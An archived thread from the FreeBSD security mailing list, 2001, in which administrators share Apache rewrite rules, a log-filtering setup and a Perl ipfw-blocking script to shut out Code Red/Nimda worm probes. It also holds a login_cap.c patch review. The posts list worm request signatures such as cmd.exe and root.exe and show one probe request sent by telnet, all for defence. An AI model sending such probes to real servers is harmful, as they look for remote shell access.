Name the script nph-<whatever> instead of just <whatever>, which
tells the webserver that your script will generate ALL of the
headers.  Then the script can just close, and the worm
won't get _any_ output from the webserver.

Use RewriteRule, not RedirectMatch.  RedirectMatch sends a redirect,
which is obviously not what you want.  You want to internally 
rewrite the URL so it gets handled transparently.  Then, the 
result is quite pleasing:

131 eep:~/> telnet webby.angio.net 80
Trying 206.197.119.138...
Connected to webby.angio.net.
Escape character is '^]'.
GET /scripts/cmd.exe? HTTP/1.0

Connection closed by foreign host.

See?  Very nice. :)

Lo and behold, The Anarcat once said:
> 
> On Sun, 23 Sep 2001, David G Andersen wrote:
> 
> >   Use mod_rewrite to redirect all accesses to that script.
> >=20
> > RewriteEngine on
> > RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
> >=20
> > (I haven't tested this syntax.  Test it first. :)
> 
> Unfortunatly, I tested this using a text file, which is fine. Here, if I
> try using a compiled C script (instead of a perl script, faster on a
> small machine), the script gets dumped in binary form! Not executed!
> 
> GET /root.exe
> ELF     =F04=F44 (444=C0=C0=F4=F4=F4vvxxx=AC=C8=B4=B4=B4pp/usr/libexec/ld-e=
> lf.so.FreeBSD=C0=B6
> =2E..
> 
> So I used the redirect approach:
> 
> RedirectMatch .*/(root.exe|cmd.exe|default.ida|Admin.dll).* /cgi-bin/sleep.=
> cgi
> 
> sleep.c:
> int main() {
>   sleep(5);
>   printf("Content-type: text/plain\n\n");
> }
> 
> This works. However, it generates a bit too much output:
> 
> GET /cmd.exe
> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
> <HTML><HEAD>
> <TITLE>302 Found</TITLE>
> </HEAD><BODY>
> <H1>Found</H1>
> The document has moved <A HREF=3D"/cgi-bin/sleep.cgi">here</A>.<P>
> <HR>
> <ADDRESS>Apache/1.3.20 Server at anarcat.dyndns.org Port 80</ADDRESS>
> </BODY></HTML>
> 
> ;)
> 
> I really don't understand why the Rewrite rule doesn't work as expected.
> 
> A.
> 
> --VrqPEDrXMn8OVzN4
> Content-Type: application/pgp-signature
> Content-Disposition: inline
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.6 (FreeBSD)
> Comment: For info see http://www.gnupg.org
> 
> iEYEARECAAYFAjuuJZUACgkQttcWHAnWiGcT/wCfZUO50hEjQUILZJIfZNlkJDgd
> c+QAn324N8SSDAEyDviPsqrhDTujaXuP
> =v3ql
> -----END PGP SIGNATURE-----
> 
> --VrqPEDrXMn8OVzN4--
> 


-- 
work: dga@lcs.mit.edu                          me:  dga@pobox.com
      MIT Laboratory for Computer Science           http://www.angio.net/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 11:34:15 2001
Delivered-To: freebsd-security@freebsd.org
Received: from gaia.nimnet.asn.au (nimbin.lnk.telstra.net [139.130.45.143])
	by hub.freebsd.org (Postfix) with ESMTP
	id 88DFF37B418; Sun, 23 Sep 2001 11:34:08 -0700 (PDT)
Received: from localhost (smithi@localhost)
	by gaia.nimnet.asn.au (8.8.8/8.8.8R1.2) with SMTP id EAA13061;
	Mon, 24 Sep 2001 04:34:06 +1000 (EST)
	(envelope-from smithi@nimnet.asn.au)
Date: Mon, 24 Sep 2001 04:34:06 +1000 (EST)
From: Ian Smith <smithi@nimnet.asn.au>
To: Gregory Neil Shapiro <gshapiro@FreeBSD.ORG>
Cc: security@FreeBSD.ORG
Subject: Re: New worm protection
In-Reply-To: <15278.7858.133595.549621@horsey.gshapiro.net>
Message-ID: <Pine.BSF.3.96.1010924042822.9322D-100000@gaia.nimnet.asn.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Sun, 23 Sep 2001, Gregory Neil Shapiro wrote:

 > smithi> Not an option here, but it's the large number of entries in
 > smithi> *-error.log that I'd like to be rid of.  *-access.log I can just
 > smithi> grep out before log analysis, if not exclude in the analyser
 > smithi> config.
 > 
 > This is what I am using:
 > 
 > RedirectMatch (.*)/(root.exe|cmd.exe|default.ida).* /goaway.html
 > SetEnvIf Request_URI "/(root.exe|cmd.exe|default.ida|goaway.html)" MSExploitCrap
 > CustomLog /var/log/httpd-access.log combined env=!MSExploitCrap
 > 
 > And then /goaway.html is just a small file:
 > 
 > <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
 > <HTML><HEAD><TITLE>Go away</TITLE></HEAD><BODY></BODY></HTML>
 > 
 > With this, nothing shows up in either httpd-access.log or httpd-error.log.

I like it, short and sweet.

Thankyou Greg.  Thanks also to David Kirchner, David G Andersen, Steve
Ames and The Anarcat for lots of angles to explore .. but tomorrow. 

Cheers, Ian


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 11:44: 6 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ogyo.pointer-software.com (ogyo.pointer-software.com [210.164.96.147])
	by hub.freebsd.org (Postfix) with ESMTP id 074AB37B421
	for <FreeBSD-Security@FreeBSD.ORG>; Sun, 23 Sep 2001 11:44:02 -0700 (PDT)
Received: from long.near.this (long.near.this [10.0.172.9])
	by ogyo.pointer-software.com (8.11.1/8.10.1) with ESMTP id f8NIhsj09754;
	Mon, 24 Sep 2001 03:43:54 +0900 (JST)
Received: from pointer-software.com (char.near.this [10.0.172.11])
	by long.near.this (8.11.1/8.9.3) with ESMTP id f8NIhr483067;
	Mon, 24 Sep 2001 03:43:53 +0900 (JST)
Message-ID: <3BAE2D69.F8A82FE4@pointer-software.com>
Date: Mon, 24 Sep 2001 03:43:53 +0900
From: horio shoichi <horio@pointer-software.com>
Organization: pointer software
X-Mailer: Mozilla 4.76 [ja] (X11; U; Linux 2.2.18pre21 i686)
X-Accept-Language: en, ja
MIME-Version: 1.0
To: Stanley Hopcroft <Stanley.Hopcroft@IPAustralia.gov.au>
Cc: FreeBSD-Security@FreeBSD.ORG
Subject: Re: Policy based routing/restricting access __inside__ ones net..
References: <20010921105320.A6282@IPAustralia.Gov.AU>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Stanley Hopcroft wrote:
> 
> Dear Ladies and Gentlemen,
> 
> I am writing to ask for advice about providing profile dependent access
> to subsets of ones internal network.
> 
> The context is having third parties access the network for maintenance.
> 
> Once they get logged in on the host they are hired to maintain, how can
> I prevent them accessing other hosts while allowing __some__ access to
> others they may need for problem resolution ? (given that both sets of
> hosts can be specified)
> 
> Can a Kerberos realm enforce access profiles such as these (and then if
> they were forced to use only kerberised applications, grant them tickets
> for access to some hosts only) ?
> 
If you mean by realm to split servers into possibly overlapping set of 
realms each of which has separate set of principals (users and services)
and
users access servers through cross-realm authentication, I see no reason
it
doesn't work.

> Can ipfilter/ipfw provide ACLs depending on user ?
> 
Ipfilter is so low level that it has no notion of user. It only
recognizes
protocol, ip and port. If a user (or users) could be bound to a specific
set of protocol, ip and port corresponding to an instance of service,
then access control might be possible. But I doubt doing this would
worth efforts.

> The access could include Solaris/FreeBSD/AIX servers as well as MS Win
> NT ...
> 
> Thank you,
> 
> Yours sincerely.
> 
>  --
> ------------------------------------------------------------------------
> Stanley Hopcroft        IP Australia
> Network Specialist
> +61 2 6283 3189 +61 2 6281 1353 (FAX)   Stanley.Hopcroft@IPAustralia.Gov.AU
> ------------------------------------------------------------------------
> The study of non-linear physics is like the study of non-elephant
> biology.
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 11:52:33 2001
Delivered-To: freebsd-security@freebsd.org
Received: from tomts11-srv.bellnexxia.net (tomts11.bellnexxia.net [209.226.175.55])
	by hub.freebsd.org (Postfix) with ESMTP id 40B9537B436
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 11:52:22 -0700 (PDT)
Received: from khan.anarcat.dyndns.org ([65.92.169.79])
          by tomts11-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010923185221.PLBO17886.tomts11-srv.bellnexxia.net@khan.anarcat.dyndns.org>;
          Sun, 23 Sep 2001 14:52:21 -0400
Received: from shall.anarcat.dyndns.org (shall.anarcat.dyndns.org [192.168.0.1])
	by khan.anarcat.dyndns.org (Postfix) with ESMTP
	id EC5941A66; Sun, 23 Sep 2001 14:52:16 -0400 (EDT)
Received: by shall.anarcat.dyndns.org (Postfix, from userid 1000)
	id B269220B4A; Sun, 23 Sep 2001 14:52:11 -0400 (EDT)
Date: Sun, 23 Sep 2001 14:52:10 -0400
From: The Anarcat <anarcat@anarcat.dyndns.org>
To: David G Andersen <danderse@cs.utah.edu>
Cc: Ian Smith <smithi@nimnet.asn.au>, Chris Byrnes <chris@JEAH.net>,
	security@FreeBSD.ORG
Subject: Re: New worm protection
Message-ID: <20010923145210.C546@shall.anarcat.dyndns.org>
References: <20010923141030.B546@shall.anarcat.dyndns.org> <200109231818.f8NIIhl29053@faith.cs.utah.edu>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="NKoe5XOeduwbEQHU"
Content-Disposition: inline
In-Reply-To: <200109231818.f8NIIhl29053@faith.cs.utah.edu>
User-Agent: Mutt/1.3.22.1i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--NKoe5XOeduwbEQHU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 23 Sep 2001, David G Andersen wrote:

> Sorry, should have mentioned that I have all .cgi files mapped
> to executables.
>
> Have it map to your /cgi-bin like you want.

I had cgi configuration problems. They're fixed. :)

> Name the script nph-<whatever> instead of just <whatever>, which
> tells the webserver that your script will generate ALL of the
> headers.  Then the script can just close, and the worm
> won't get _any_ output from the webserver.

Interesting. I didn't know of this feature.

> Use RewriteRule, not RedirectMatch.  RedirectMatch sends a redirect,
> which is obviously not what you want.  You want to internally=20
> rewrite the URL so it gets handled transparently.  Then, the=20
> result is quite pleasing:
>=20
> 131 eep:~/> telnet webby.angio.net 80
> Trying 206.197.119.138...
> Connected to webby.angio.net.
> Escape character is '^]'.
> GET /scripts/cmd.exe? HTTP/1.0
>=20
> Connection closed by foreign host.
>=20
> See?  Very nice. :)

Very nice indeed. I have the same result here now. :) Without the perl
overhead. :) :)

A.

--NKoe5XOeduwbEQHU
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjuuL1kACgkQttcWHAnWiGcipQCfdjLyAq5S39dvrHDU+s6kEGhu
F94An18y8UO0IV4Too1BiyI0XAFE8pek
=Q0/r
-----END PGP SIGNATURE-----

--NKoe5XOeduwbEQHU--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 14:13:11 2001
Delivered-To: freebsd-security@freebsd.org
Received: from I-Sphere.COM (shell.i-sphere.com [209.249.146.70])
	by hub.freebsd.org (Postfix) with ESMTP id 3429437B438
	for <freebsd-security@freebsd.org>; Sun, 23 Sep 2001 14:12:57 -0700 (PDT)
Received: (from fasty@localhost)
	by I-Sphere.COM (8.11.6/8.11.6) id f8NLDVD95333;
	Sun, 23 Sep 2001 14:13:31 -0700 (PDT)
	(envelope-from fasty)
Date: Sun, 23 Sep 2001 14:13:31 -0700
From: faSty <fasty@i-sphere.com>
To: David G Andersen <danderse@cs.utah.edu>
Cc: freebsd-security@freebsd.org
Subject: Re: New worm protection
Message-ID: <20010923141330.A94941@i-sphere.com>
References: <20010923141030.B546@shall.anarcat.dyndns.org> <200109231818.f8NIIhl29053@faith.cs.utah.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109231818.f8NIIhl29053@faith.cs.utah.edu>; from danderse@cs.utah.edu on Sun, Sep 23, 2001 at 12:18:43PM -0600
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

can you give me sample of statment that closes without output from the
webserver.

I tried use your statement seems not work and it simply
envade almost all 500 domains on my webservers. ugh

I hope your sample can handle all domains not just one domain.

let me know thanks

-trev

On Sun, Sep 23, 2001 at 12:18:43PM -0600, David G Andersen wrote:
> Sorry, should have mentioned that I have all .cgi files mapped
> to executables.
> 
> Have it map to your /cgi-bin like you want.
> 
> Name the script nph-<whatever> instead of just <whatever>, which
> tells the webserver that your script will generate ALL of the
> headers.  Then the script can just close, and the worm
> won't get _any_ output from the webserver.
> 
> Use RewriteRule, not RedirectMatch.  RedirectMatch sends a redirect,
> which is obviously not what you want.  You want to internally 
> rewrite the URL so it gets handled transparently.  Then, the 
> result is quite pleasing:
> 
> 131 eep:~/> telnet webby.angio.net 80
> Trying 206.197.119.138...
> Connected to webby.angio.net.
> Escape character is '^]'.
> GET /scripts/cmd.exe? HTTP/1.0
> 
> Connection closed by foreign host.
> 
> See?  Very nice. :)
> 
> Lo and behold, The Anarcat once said:
> > 
> > On Sun, 23 Sep 2001, David G Andersen wrote:
> > 
> > >   Use mod_rewrite to redirect all accesses to that script.
> > >=20
> > > RewriteEngine on
> > > RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
> > >=20
> > > (I haven't tested this syntax.  Test it first. :)
> > 
> > Unfortunatly, I tested this using a text file, which is fine. Here, if I
> > try using a compiled C script (instead of a perl script, faster on a
> > small machine), the script gets dumped in binary form! Not executed!
> > 
> > GET /root.exe
> > ELF     =F04=F44 (444=C0=C0=F4=F4=F4vvxxx=AC=C8=B4=B4=B4pp/usr/libexec/ld-e=
> > lf.so.FreeBSD=C0=B6
> > =2E..
> > 
> > So I used the redirect approach:
> > 
> > RedirectMatch .*/(root.exe|cmd.exe|default.ida|Admin.dll).* /cgi-bin/sleep.=
> > cgi
> > 
> > sleep.c:
> > int main() {
> >   sleep(5);
> >   printf("Content-type: text/plain\n\n");
> > }
> > 
> > This works. However, it generates a bit too much output:
> > 
> > GET /cmd.exe
> > <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
> > <HTML><HEAD>
> > <TITLE>302 Found</TITLE>
> > </HEAD><BODY>
> > <H1>Found</H1>
> > The document has moved <A HREF=3D"/cgi-bin/sleep.cgi">here</A>.<P>
> > <HR>
> > <ADDRESS>Apache/1.3.20 Server at anarcat.dyndns.org Port 80</ADDRESS>
> > </BODY></HTML>
> > 
> > ;)
> > 
> > I really don't understand why the Rewrite rule doesn't work as expected.
> > 
> > A.
> > 
> > --VrqPEDrXMn8OVzN4
> > Content-Type: application/pgp-signature
> > Content-Disposition: inline
> > 
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v1.0.6 (FreeBSD)
> > Comment: For info see http://www.gnupg.org
> > 
> > iEYEARECAAYFAjuuJZUACgkQttcWHAnWiGcT/wCfZUO50hEjQUILZJIfZNlkJDgd
> > c+QAn324N8SSDAEyDviPsqrhDTujaXuP
> > =v3ql
> > -----END PGP SIGNATURE-----
> > 
> > --VrqPEDrXMn8OVzN4--
> > 
> 
> 
> -- 
> work: dga@lcs.mit.edu                          me:  dga@pobox.com
>       MIT Laboratory for Computer Science           http://www.angio.net/
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

-- 
The primary theme of SoupCon is communication.  The acronym "LEO"
represents the secondary theme:

	Law Enforcement Officials

The overall theme of SoupCon shall be:

	Avoiding Communication with Law Enforcement Officials

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 15: 4: 9 2001
Delivered-To: freebsd-security@freebsd.org
Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13])
	by hub.freebsd.org (Postfix) with ESMTP id 06A0237B401
	for <freebsd-security@FreeBSD.ORG>; Sun, 23 Sep 2001 15:04:05 -0700 (PDT)
Received: from localhost (davidk@localhost)
	by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id f8NL0Ae41687
	for <freebsd-security@FreeBSD.ORG>; Sun, 23 Sep 2001 14:00:10 -0700 (PDT)
Date: Sun, 23 Sep 2001 14:00:10 -0700 (PDT)
From: David Kirchner <davidk@accretivetg.com>
X-X-Sender:  <davidk@localhost>
To: <freebsd-security@FreeBSD.ORG>
Subject: Re: New worm protection
In-Reply-To: <20010923141330.A94941@i-sphere.com>
Message-ID: <20010923135836.Q85958-100000@localhost>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Would it be possible to create an accept-filter module (ala accf_http)
that could take care of these and future similar filters, server-wide?


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 16:22:34 2001
Delivered-To: freebsd-security@freebsd.org
Received: from sv07e.atm-tzs.kmjeuro.com (sv07e.atm-tzs.kmjeuro.com [193.81.94.207])
	by hub.freebsd.org (Postfix) with ESMTP id 39D1937B408
	for <freebsd-security@freebsd.org>; Sun, 23 Sep 2001 16:22:28 -0700 (PDT)
Received: (from root@localhost)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) id f8NNMQj82453
	for freebsd-security@freebsd.org; Mon, 24 Sep 2001 01:22:26 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Received: from karl (e31f48139ccbe44ff66921e5c712c212@adsl.ooe.kmjeuro.com [193.154.186.21])
	(authenticated)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) with ESMTP id f8NNMGv82184;
	Mon, 24 Sep 2001 01:22:16 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Message-ID: <060301c14487$048f79f0$0a05a8c0@ooe.kmjeuro.com>
From: "Karl M. Joch" <k.joch@kmjeuro.com>
To: "David Kirchner" <davidk@accretivetg.com>,
	<freebsd-security@freebsd.org>
References: <20010923135836.Q85958-100000@localhost>
Subject: Re: New worm protection
Date: Mon, 24 Sep 2001 01:24:41 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X--virus-scanner: scanned for Virus and dangerous attachments on sv07e.atm-tzs.kmjeuro.com (System Setup/Maintainance: http://www.ctseuro.com/)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

I have made a quick and may dirty solution which helps me alot on the
servers. it handles multiple error files. my error files are resetted onec
every 24h. so i dont get to big files.

############################################
# include trailing / in run & wrk
$run = "/usr/local/blockwins/";
$wrk = "/usr/local/blockwins/data/"; # create it in advance

$logfiles = "/usr/local/blockwins/logfiles"; # made by ls
/var/log/your-apache-error-logs
$domfile = "IPs";

$rule = "50"; # the ipfw rule you want to use


#*************************************************** end of config
# Datum vorfuellen:
chop($dat=`date "+%y/%m/%d %H:%M"`);

$cnt=0; # ips
$cnto=0; # ips old
$cnt2=0; # access


# create domain/register file if non existent:
dbmopen (%domains,"$wrk$domfile",0640);
dbmclose (%domains);

dbmopen (%domains,"$wrk$domfile",0640);

# GET OUR LOGFILES
open ("INPUT",$logfiles) || die "$0: cannot open $logfiles !\n";
while (<INPUT>) {
chop ($_);
open ("LOG",$_) || die "cannot open $_! \n";
while (<LOG>) {
  ## [Mon Sep 10 10:38:43 2001] [error] [client 193.215.176.192] File does
not exist: /usr/local/www/default.ida
  $virus=0;

          if (/winnt/) { $virus=1;};
          if (/root.exe/) { $virus=1;};
          if (/cmd.exe/) { $virus=1;};
          if (/default.ida/) { $virus=1;};

  if ($virus) {
#block them:
$results=$_;
        $results=~ s/.*client ([0-9.]+).*\/(.*)$/$1##$2/;
($ip,$comm) = split(/##/,$results);
if ( $domains{$ip}) {
$cnt2++;
$domains{$ip}=$comm; ## last command
}
else {
$cnt++;
$domains{$ip}=$comm; ## last command
}
  }
}
}
print
"########################################################################\n"
;
print "Angriffe von Code Red/Nimda    \n";
print
"########################################################################\n"
;
print "DIFFERNT IPs: $cnt\n";
print
"########################################################################\n"
;
print "TOTAL ACCESS: $cnt2\n";
print
"########################################################################\n"
;
close (INPUT);

# NOW LETS CHECK EVERYTHING:
# clear the one rule:
        @args = ("/sbin/ipfw $rule delete");
        system(@args) == 0 or print "system @args failed: $?\n";

# add all of our idiots:

foreach $dom (sort keys %domains) {
$cnto++;
# print "$dom - denied access to the server with rule $rule\n";
        @args = ("/sbin/ipfw $rule add deny all from $dom to any
>/dev/null");
        system(@args) == 0 or die "system @args failed: $?";
}

print
"########################################################################\n"
;
print "All Rules (Total IPS: $cnto) added to Firewall\n";
print "Known Windows Systems denied access!\n";
print
"########################################################################\n"
;

dbmclose (%domains);



--
--
Best regards / Mit freundlichen Gruessen,

Karl M. Joch
KMJ Consulting - CTS Consulting & Trade Service
http://www.kmjeuro.com - http://www.ctseuro.com
k.joch@kmjeuro.com - k.joch@ctseuro.com

GSM : +43-664-3407888

Unsere Services:
http://www.proline.at - Netzwerk und Sicherheitstechnik
http://www.eushop.net - Onlineshop und Applikationen einfach mieten
http://www.freebsd.at - Power Operating System
----- Original Message -----
From: "David Kirchner" <davidk@accretivetg.com>
To: <freebsd-security@FreeBSD.ORG>
Sent: Sunday, September 23, 2001 11:00 PM
Subject: Re: New worm protection


> Would it be possible to create an accept-filter module (ala accf_http)
> that could take care of these and future similar filters, server-wide?
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 17: 4:33 2001
Delivered-To: freebsd-security@freebsd.org
Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44])
	by hub.freebsd.org (Postfix) with ESMTP
	id 07AFD37B41D; Sun, 23 Sep 2001 17:04:13 -0700 (PDT)
Received: (from daemon@localhost)
	by point.osg.gov.bc.ca (8.8.7/8.8.8) id RAA28979;
	Sun, 23 Sep 2001 17:04:03 -0700
Received: from passer.osg.gov.bc.ca(142.32.110.29)
 via SMTP by point.osg.gov.bc.ca, id smtpda28977; Sun Sep 23 17:03:47 2001
Received: (from uucp@localhost)
	by passer.osg.gov.bc.ca (8.11.6/8.9.1) id f8O03lQ24008;
	Sun, 23 Sep 2001 17:03:47 -0700 (PDT)
Received: from UNKNOWN(10.1.2.1), claiming to be "cwsys.cwsent.com"
 via SMTP by passer9.cwsent.com, id smtpdb24006; Sun Sep 23 17:03:26 2001
Received: (from smtpd@localhost)
	by cwsys.cwsent.com (8.11.6/8.9.1) id f8O037701400;
	Sun, 23 Sep 2001 17:03:07 -0700 (PDT)
Message-Id: <200109240003.f8O037701400@cwsys.cwsent.com>
X-Authentication-Warning: cwsys.cwsent.com: smtpd set sender to <cy@cwsys> using -f
Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys"
 via SMTP by localhost.cwsent.com, id smtpdYA1389; Sun Sep 23 17:02:41 2001
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
Reply-To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
From: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
X-Sender: schubert
To: "Andrey A. Chernov" <ache@nagual.pp.ru>
Cc: Robert Watson <rwatson@FreeBSD.ORG>, security@FreeBSD.ORG,
	current@FreeBSD.ORG, developers@FreeBSD.ORG,
	security-officer@FreeBSD.ORG
Subject: Re: Patch for review (was Re: ~/.login_conf disabling exact 
 reasons wanted)
In-reply-to: Your message of "Sun, 23 Sep 2001 16:13:57 +0400."
             <20010923161354.A426@nagual.pp.ru> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 23 Sep 2001 17:02:41 -0700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

In message <20010923161354.A426@nagual.pp.ru>, "Andrey A. Chernov" 
writes:
> On Sat, Sep 22, 2001 at 22:58:21 +0400, Andrey A. Chernov wrote:
> 
> > I'll work on the proper fix tomorrow.
> 
> 
> Planned for commit. Please, review and/or comment.
> 
> --- login_cap.c.old	Sun Sep 23 16:09:04 2001
> +++ login_cap.c	Sun Sep 23 16:06:19 2001
> @@ -184,18 +184,17 @@
>      login_cap_t	*lc;
>    
>      if ((lc = malloc(sizeof(login_cap_t))) != NULL) {
> -	int	    r, i = 0;
> +	int         r, me, i = 0;
>  	uid_t euid = 0;
>  	gid_t egid = 0;
>  	const char  *msg = NULL;
> -	const char  *dir = (pwd == NULL) ? NULL : pwd->pw_dir;
> +	const char  *dir;
>  	char	    userpath[MAXPATHLEN];
>  
>  	static char *login_dbarray[] = { NULL, NULL, NULL };
>  
> -#ifndef _FILE_LOGIN_CONF_WORKS
> -	dir = NULL;
> -#endif
> +	me = (name != NULL && strcmp(name, LOGIN_MECLASS) == 0);
> +	dir = (!me || pwd == NULL) ? NULL : pwd->pw_dir;
>  	/*
>  	 * Switch to user mode before checking/reading its ~/.login_conf
>  	 * - some NFSes have root read access disabled.
> @@ -215,7 +214,7 @@
>  	    if (_secure_path(userpath, pwd->pw_uid, pwd->pw_gid) != -1)
>  		i++;		/* only use 'secure' data */
>  	}
> -	if (_secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
> +	if (me && _secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
>  	    login_dbarray[i++] = _PATH_LOGIN_CONF;
>  	login_dbarray[i] = NULL;
>  
> @@ -227,7 +226,7 @@
>  
>  	switch (cgetent(&lc->lc_cap, login_dbarray, (char*)name)) {
>  	case -1:		/* Failed, entry does not exist */
> -	    if (strcmp(name, LOGIN_MECLASS) == 0)
> +	    if (me)
>  		break;	/* Don't retry default on 'me' */
>  	    if (i == 0)
>  	        r = -1;

After applying the patch and building world the following are logged to 
syslog.

Sep 23 13:40:00 cwtest /usr/sbin/cron[17208]: login_getclass: unknown 
class 'root'
Sep 23 13:40:00 cwtest /usr/sbin/cron[17207]: login_getclass: unknown 
class 'daemon'
Sep 23 13:40:00 cwtest inetd[17213]: login_getclass: unknown class 
'daemon'

Rsh between hosts behind my firewall here at home work however rsync, 
which uses rsh, does not, an EOF error is displayed.


Regards,                         Phone:  (250)387-8437
Cy Schubert                        Fax:  (250)387-5766
